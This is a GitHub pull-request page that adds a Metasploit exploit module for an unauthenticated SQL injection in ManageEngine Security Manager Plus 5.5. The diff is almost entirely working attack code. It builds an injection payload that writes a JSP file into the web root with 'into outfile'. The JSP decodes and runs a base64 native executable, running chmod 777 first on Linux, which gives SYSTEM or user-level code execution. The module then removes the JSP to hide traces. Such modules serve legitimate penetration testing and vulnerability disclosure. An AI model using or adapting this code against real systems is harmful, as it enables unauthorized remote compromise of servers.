Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ManageEngine Security Manager AdvanceSearch Module #953

Merged
merged 19 commits into from
Oct 27, 2012
Merged
Changes from 13 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
211 changes: 211 additions & 0 deletions modules/exploits/multi/http/manageengine_search_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,211 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
'Description' => %q{
This module exploits a SQL injection found in ManageEngine Security Manager Plus
advanced search page, which results in remote code execution under the context of
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
'sinn3r', # Improved Metasploit module
'egypt' # Improved Metasploit module
],
'References' =>
[
['EDB','22094'],
['BID', '56138']
],
'Targets' =>
[
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
],
'Privileged' => false,
'DisclosureDate' => "Oct 18 2012"))

register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262])
], self.class)
end


#
# A very gentle check to see if Security Manager Plus exists or not
#
def check
res = send_request_raw({'uri' => '/SecurityManager.cc'})

if res and res.body =~ /\<title\>SecurityManager Plus\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end


#
# Remove the JSP once we get a shell.
# We cannot delete the executable because it will still be in use.
#
def on_new_session(cli)
if cli.type != 'meterpreter'
print_warning("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

begin
print_warning("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end


#
# Embeds our executable in JSP
#
def generate_jsp_payload
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

no longer needed

my_port = datastore['SRVPORT']

native_payload = Rex::Text.encode_base64(generate_payload_exe)
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
ext = (target['Platform'] == 'win') ? '.exe' : '.bin'

var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)

if target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might as well rm the file here, too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The file will be in use though. Maybe you can in Linux, I'm not sure in Windows.

|
else
chmod = ''
end

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>

<%
byte[] #{var_raw} = null;
BufferedOutputStream #{var_ostream} = null;
try {
String #{var_buf} = "#{native_payload}";

BASE64Decoder #{var_decoder} = new BASE64Decoder();
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();

#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
} catch (Exception e) {
}
%>
|

jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')

jsp.unpack("H*")[0]
end


#
# Run the actual exploit
#
def inject_exec
# Inject our JSP payload
hex_jsp = generate_jsp_payload

cookie = 'STATE_COOKIE=&'
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'

rnd_num = Rex::Text.rand_text_numeric(1)
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
sqli << (2..28).map {|e| e} * ","
sqli << " into outfile #{@outpath} FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"

state_id = Rex::Text.rand_text_numeric(5)
print_status("#{rhost}:#{rport} - Sending JSP payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
'headers' => {
'Cookie' => cookie,
'Accept-Encoding' => 'identity'
},
'vars_get' => {
'reqType' =>'AdvanceSearch',
'SUBREQUEST' =>'XMLHTTP'
},
'vars_post' => {
'ANDOR' => 'and',
'condition_1' => 'OpenPorts@PORT',
'operator_1' => 'IN',
'value_1' => sqli,
'COUNT' => '1'
}
})

print_status("#{rhost}:#{rport} - Sending /#{@jsp_name + '.jsp'}")
send_request_raw({'uri' => "/#{@jsp_name + '.jsp'}"})

handler
end


#
# The server must start first, and then we send the malicious requests
#
def exploit
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""

inject_exec
end
end